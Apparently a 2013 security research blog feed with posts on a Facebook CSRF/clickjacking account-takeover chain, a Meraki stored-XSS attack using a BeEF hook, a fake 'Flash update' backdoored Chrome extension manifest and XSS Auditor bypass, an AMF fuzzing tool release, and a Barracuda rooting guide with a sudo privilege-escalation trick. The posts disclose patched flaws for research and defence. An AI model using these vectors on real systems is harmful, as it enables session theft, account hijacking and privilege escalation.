        The main issue here is that no password is required to associate the mobile number to the user's profile. Because of this, an attacker may abuse the described UI Redressing vulnerability to steal the fb_dtsg token and register an arbitrary phone number. Despite this, the attacker still needs to insert the confirmation code in order to associate his mobile number. A bit of black magic helps here: the attacker can abuse an SMS to mail mobile application to automatically forward the Facebook text-message (SMS) to an attacker-controlled mail box, thus allowing an hypothetical exploit to fetch the code and complete the insertion process.

        The exploit


        A working Proof of Concept exploit has been developed in order to demonstrate the described attack. We have also shared the code with the Facebook security team. During my experiments, the Android application SMS2Mail has been adopted to forward the Facebook SMS (Figure 5) to the mail box (Figure 6).

        Figure 5 - SMS with the Facebook's confirmation code that has been forwarded to the attacker's mail box.
        Figure 6 - Facebook confirmation code forwarded to the attacker's mailbox.
        The following steps summarize the exploitation phases:
        1. The exploit frames the vulnerable resource and allows the victim to play a fake game while performing the cross-domain content extraction;
        2. The fb_dtsg anti-CSRF token and the victim's user id are extracted. An HTTP request is forwarded to the Facebook application in order to emulate the attacker-controlled mobile number registration;
        3. An text-message (SMS), containing the confirmation code, is sent to the attacker mobile device. An SMS2Mail mobile application is installed on attacker's device and automatically forwards the SMS to an attacker-controlled mail box;
        4. The exploit waits for the SMS to be forwarded to the mail box, then extracts the confirmation code and performs a second CSRF attack in order to submit the code itself and complete the mobile number registration.

        The attacker's mobile number is now associated with the victim's profile and can be used to reset the account's password. As a matter of fact, Facebook allows users to enter a previously associated mobile number (Figure 7) which is then used to send a reset code (Figure 8).

        Figure 7 - Reset password mechanism involving the user's mobile number . Figure 8 - Facebook's form used to insert the resetting code.
        A fully automated Proof of Concept exploit can be downloaded here, while the following video illustrates the described attack:

        March 11 2013


        Subverting a cloud-based infrastructure with XSS and BeEF

        Well, the world is changing. You can probably do a lot more direct damage with a XSS in a high-value site than with a local privilege escalation in sudo [...] - lcamtuf@coredump.cx
        If you are intrigued by sophisticated exploits and advanced techniques, Cross-Site Scripting isn't probably the most appealing topic for you. Nevertheless, recent events demonstrated how this class of vulnerabilities has been used to compromise applications and even entire servers.

        Today, we are going to present a possible attack scenario based on a real-life vulnerability that has been recently patched by the Meraki team. Although the vulnerability itself isn't particularly interesting, it is revealing how a trivial XSS flaw can be abused to subvert an entire network infrastructure.


        Meraki is the first cloud-managed network infrastructure company and it's now part of Cisco Systems. The idea is pretty neat: all network devices and security appliances (wired and wireless) can be managed by a cutting-edge web interface hosted in the cloud, allowing Meraki networks to be completely set up and controlled through the Internet. Many enterprises, universities and numerous other businesses are already using this technology.

        As usual, new technologies introduce opportunities and risks. In such environments, even a simple Cross-Site Scripting or a Cross-Site Request Forgery vulnerability can affect the overall security of the managed networks.

        The vulnerability

        During a product evaluation of a cloud managed Wireless Access Point, we noticed the possibility to personalize the portal splash page.  Users accessing your WiFi network can be redirected to a custom webpage (e.g. containing a disclaimer) before accessing Internet.

        To further customize our splash page, we started including images and other HTML tags. With big surprise, we quickly discovered that just a basic HTML/JS validation was performed in that context. As a result, we were able to include things like:

        What was even more interesting is the fact that the splash page is also hosted in the cloud. Unlike traditional WiFi APs where the page is hosted on the device itself, Meraki appliances use cloud resources.

        https://n20.meraki.com/splash/?mac=XXXX&client_ip=XXXX&client_mac=XXXX&vap=0&a=XXXX&b=XXXX&auth_version=5&key=ef1115d... AUTH_KEY...d41c283&node_ip=XXXX&acl_ver=XXXX&continue_url=http%3A%2F%2Fwww.google.com

        To protect that page from random visitors, a unique token is used for authentication. Assuming you provide the right token and other required parameters, that page is accessible to Internet users.

        Now, let's add to the mix that Meraki uses a limited number of domains for all customers (e.g. n1-29.meraki.com, etc.) and, more importantly, that the dashboard session token is scoped to *.meraki.com. This factor turns the stored XSS affecting our own device's domain to a vulnerability that can be abused to retrieve the dashboard cookie of other users and networks. 

        Attack scenario

        An attacker with access to a Meraki dashboard can craft a malicious JS payload to steal the dashboard session cookie and obtain access to other users' devices. In practice, this allows to completely take over Meraki's wired and wireless networks.

        BeEF, the well-know Browser Exploitation Framework, has been used to simulate a realistic attack:

        1. The attacker customizes the splash page of his/her WiFi AP with an arbitrary JS payload, which includes the BeEF hook 
        2. Connecting a device to the physical wireless network controlled by the attacker (e.g. a testing device), it is possible to retrieve the URL of the splash page including the unique token 
        3. Using social engineering, the attacker tricks the victim(s) into visiting the attacker-controlled splash page
        4. At this point, the victim browser is hooked in BeEF
        5. Using one of the available BeEF modules, the attacker can retrieve the HttpOnly dash_auth cookie and get access to the victim's Meraki dashboard 
        6. In the case of Meraki WiFi Access Point, a convenient map will display the position of the device. In the config tab, it is also possible to disclose the network's password. At this stage, the actual network can be fully controlled by the attacker


        A demonstration video of the attack is also available:

        For the interested readers, a few technical details are also shared:
        • Cookie flags (e.g. HttpOnly) are the ASLR/DEP of browser security. It is possible to bypass those mitigation techniques,  although it's getting more complex. Thanks to the progress of browser security and general awareness, stealing cookies marked as HttpOnly via JS payload isn't trivial anymore. Cross Site Tracing and similar techniques are obsolete. Browser plugins have been also patched. Besides exploiting specific servers or browsers bugs, attackers can only rely on social engineering tricks. During our Proof-of-Concept, a fake Flash update has been used to install a malicious Chrome extension and get access to all cookies
        • Chrome extensions run with different privileges than normal JavaScript code executed by the renderer. A Chrome extension can override default SOP restrictions and issue cross-domain requests reading the HTTP response, accessing other browser tabs, and also reading every cookie including those marked as HttpOnly. The manifest of the deliberately backdoored Chrome Extension is the following. The background.js file loads the BeEF hook.

            "name": "Adobe Flash Player Security Update",
            "manifest_version": 2,
            "version": "11.5.502.149",
            "description": "Updates Adobe Flash Player with latest securty updates",
            "background": {
              "scripts": ["background.js"]
            "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
            "icons": { 
              "16": "icon16.png",
              "48": "icon48.png",
              "128": "icon128.png" 
            "permissions": [

          Not to blame Google, but just FYI when the backdoored Chrome Extension was uploaded to Google Chrome Webstore, it was available straight after the upload. No checks were made by the application, for example to prevent the upload of an extension with very relaxed permissions, unsafe-eval CSP directive, and Name/Description fields containing an obviously fake content such as "Adobe Flash Update" 
        • Choosing Google Chrome as target browser required to bypass XSS Auditor, the integrated Anti-XSS filter. As discovered by Mario Heiderich, the data URI schema with base64 content can be leverage to bypass the filter. The following code snippet will trigger the classic alert(1), even on the latest Google Chrome at the time of writing (version 24.0.1312.71)

        • The final attack vector to inject the initial BeEF hook in Meraki's page is:

          <iframe src="data:text/html;base64,PHNjcmlwdD5zPWRvY3VtZW50LmNyZ

          And what is actually executed is:

          <script> s=document.createElement('script'); s.type='text/javascript'; s.src=''; document.getElementsByTagName('head')[0].appendChild(s); </script>

          Having a backdoored Chrome Extension running in your browser opens for many new attack vectors wich we din't covered in the PoC. For example, it is possible to inject the BeEF hook in every open tab (you can get the impact of this :-), or use the victim browser as an open proxy using BeEF's Tunneling Proxy component and many other attacks

        This blog post is brought to you by @_ikki (NibbleSec) and @antisnatchor (BeEF core dev team).
        Thanks to Meraki for the prompt response and the great service.

        February 04 2013


        Effective AMF Remoting Message fuzzing with Blazer v0.3

        After several weeks of extensive testing and debugging, Blazer v0.3 is finally out!
        It's been a long ride since the first lines of code, back in 2011. In this post, I am going to present all new features and describe Tips&Tricks to make your AMF security testing even more effective.

        If you are not familiar with Blazer, have a look at the project page: http://code.google.com/p/blazer/.
        New to Burp Suite? Have a look at the video tutorials and consider to buy Instant Burp Suite Starter.

        What's new?

        Blazer v0.3 includes a few interesting new features presented during my DeepSec talk, but even more important is the result of extensive testing on Windows, Mac OS X and Linux using multiple Java Runtime Environments and recent Burp Suite releases.

        • Java classes and source code import feature
          In addition to JARs, it is now possible to import directories containing .class and .java files. The ability to import source code, in addition to application libraries, allows to partially use Blazer even during black-box security testing.
        • AMF request/response export functionality (AMF2XML)
          Sharing details of security vulnerabilities triggered by AMF messages was annoying, as it was not possible to export AMF requests and responses in an intelligible format. Using the AMF2XML feature, it is now possible to export those messages in a file or console.

        • Sandbox feature using a custom security manager 
          The rationale behind the introduction of this feature is to prevent any malicious action caused by application libraries. Blazer uses Java reflection and fairly complex heuristics to automatically instantiate and populate objects by using the application libraries. Application objects are created on the tester's computer and methods are locally invoked to populate attributes before sending the AMF message to the remote service. As a result, untrusted application libraries may end up writing files, opening network sockets or other involuntary IO operations.

        • Numerous bugs and performance issues fixed
          I've fixed more than 20 bugs and multiple performance issues, including an annoying GUI refresh bug on OS X and Windows. This version has been extensively tested on multiple platforms; I've specifically delayed the release to make sure that all issues I've encountered during my testing have been fixed.

        BlackBox vs GrayBox testing with Blazer

        Blazer is a security tool for gray-box testing. It has been designed and built with the assumption that the application libraries are available to the tester. All Java classes exchanged between client and server should be imported in the tool. This is a realistic assumption if you are doing vulnerability research, not if you are performing a standard pentest.

        However, starting from this release, it is actually possible to partially use Blazer during black-box testing. If your application is using primitive types and libraries which can be downloaded from the Internet, you can benefit from Blazer's automatic objects generation by manually crafting a fake .java file including all method signatures:

        1. Decompile the client-side Flex components (e.g. SWF files) or monitor the network traffic in order to enumerate all remote methods. Deblaze tool can be used for it. 

        2. Create a .java file containing method signatures as observed in the traffic. Something like the following:
        package flex.samples.product;
        public class ProductService{
        public Product getProduct(int prodId){}
        3. In Blazer, import the crafted Java source file and all application libraries referenced in the application. At this stage, Blazer can be used to automatically generate objects and perform fuzzing.

        Tips & Tricks 

        Fuzzing complex applications containing multiple custom classes isn't trivial. To improve coverage and effectiveness, the following recommendations can save you precious time:

        • Always increment the amount of memory that your computer makes available to Burp Suite. If you are generating a large number of AMF messages, consider to chain two instances of Burp Suite. The first instance can be used to intercept the application requests and launch Blazer. In Blazer, set the proxy within tab 3 to point to the second Burp Suite instance. The latter will collect all requests generated by Blazer. In Burp Suite Pro, you can also set automatic backups to prevent any data loss.

      • As of Burp Suite v1.5.01, Burp Extender has a new API. Blazer has been improved to support both old and new Burp Extender APIs. Standard output and error can be displayed within Burp Extender, to a file or in the console screen. During testing, I suggest to redirect those streams to two separate files in order to record all operations and exceptions.

      • Balancing the number of permutations, attack vectors and probability is the magic sauce of Blazer. Read the original whitepaper/presentation, make sure to understand those settings and tune the tool. Even better, check the implementation of the ObjectGenerator class.

      • Divide et impera by breaking up numerous application method signatures into small groups. Start testing a few methods and make sure that you have imported all required application libraries. Finally, review the server responses and monitor the server's status to detect security vulnerabilities. For example - if you are looking for SQL injections - use Burp's filter by search term to identify AMF messages that triggered visible errors and grep for similar strings in the server logs. Blazer appends a custom HTTP header to all AMF requests that can be used to correlate message and method signature. Also, the newest export functionality can be used to review the AMF payload. 

      • Feel free to email me if you have any question.  Also, let me know if you find bugs using Blazer!

        January 25 2013


        How to patch your Barracuda virtual appliance

        It's today's "news" about backdoors found in multiple Barracuda gears. Basically, Barracuda appliances have multiple hardcoded system accounts and firewall rules specifically designed to allow remote assistance. If you want more gossip, you can read about it on KrebsOnSecurity, The Register or The H Online.

        A new old story

        According to the original advisory, the bug was discovered on 2012-11-20 by Stefan Viehböck. Although Stefan did pretty interesting research in the past (e.g. WiFi WPS design bug), the Barracuda backdoor is really not a new story. Not only this issue was known, but it was even disclosed and discussed several times:
        Although it's natural to be surprised that such a critical issue has been underestimated for nine years, we should rather use this opportunity to stop these bad practices. Unfortunately, it's not just Barracuda - many vendors have adopted similar poorly-designed solutions for remote assistance. As customers, we should always evaluate products, pretend more accountability and transparency.

        Digital self-defense

        In 2011, while helping a friend during the setup of his network, I came across the advisory from 2004 and I started investigating.  After having confirmed the issue, I decided to patch the virtual appliance on my own. If you think that the mitigation provided by Barracuda in the security definition 2.0.5  is not adequate for your environment, keep reading. Hopefully, Barracuda will reconsider the situation and you won't need to manually patch your device.

        Disclaimer: Use this information at your own risk! 
        You may end up with a broken appliance and no more vendor warranty. Also, I am not a lawyer and I haven't reviewed the product EULA. Finally, note that this method has been tested against the Barracuda WebApp Firewall 660vxl (v7.5.0.x) virtual appliance only. 

        Patching your virtual appliance

        Removing system accounts and changing iptables configuration require privileged shell access. As the original techniques for rooting the device are now deprecated (at least in the device I had), I started looking for other ways to get a root shell. Soon, I realized that it's possible to abuse the recovery partition in order to include arbitrary resources. This technique requires "physical" access to the appliance and multiple reboots thus I consider it better than disclosing the root password and suggest you to abuse the backdoor in order to patch the device.

        Rooting the Barracuda WebApp Firewall requires a multi steps process:

        1) Boot the Barracuda virtual appliance with a standard Linux distribution (e.g. booting from the virtual CD) and mount the recovery partition (/dev/sda9) in order to copy the patcher script (rootme.sh).

        rootme.sh can be downloaded here
          $ mkdir /mnt/temp 
          $ mount /dev/sda9 /mnt/temp
          $ cp rootme.sh /mnt/temp/
          $ chmod 777 /mnt/temp/rootme.sh
          $ /mtn/temp/rootme.sh

          $ umount /mnt/temp
          $ reboot

        2) From the web console, revert the firmware to the factory installed version (Advanced-->Firmware Update-->Firmware Revert) and reboot again the appliance. If the factory Firmware Revert button is not available (it's gray and cannot be selected), you need to update the device to the newest firmware and repeat the entire process.

        3) Visit https://barracuda_ip/cgi-mod/rootme.cgiAfter that, you can connect via SSH to the device using a temporary root password. Removing the hardcoded system accounts and changing iptables is left as exercise.

        A few more technical details:

        • rootme.sh is simply used to copy rootme.cgi to the web console webroot in order to facilitate the rooting process
        • rootme.cgi is used to escalate privileges from the Apache user (nobody) to root, change the root password and the firewall rules in order to allow external access 
        • Privileges escalation is possible due to an insecure sudoers configuration. Again, nothing fancy. Please note that I have reported this misconfiguration to Barracuda on 09/12/2011.
           $ sudo mv /bin/ping /tmp/ping.old
           $ sudo ln -s /bin/bash /bin/ping
           $ sudo ping -c whoami

          Older posts are this way If this message doesn't go away, click anywhere on the page to continue loading posts.
          Could not load more posts
          Maybe Soup is currently being updated? I'll try again automatically in a few seconds...
          Just a second, loading more posts...
          You've reached the end.

          Don't be the product, buy the product!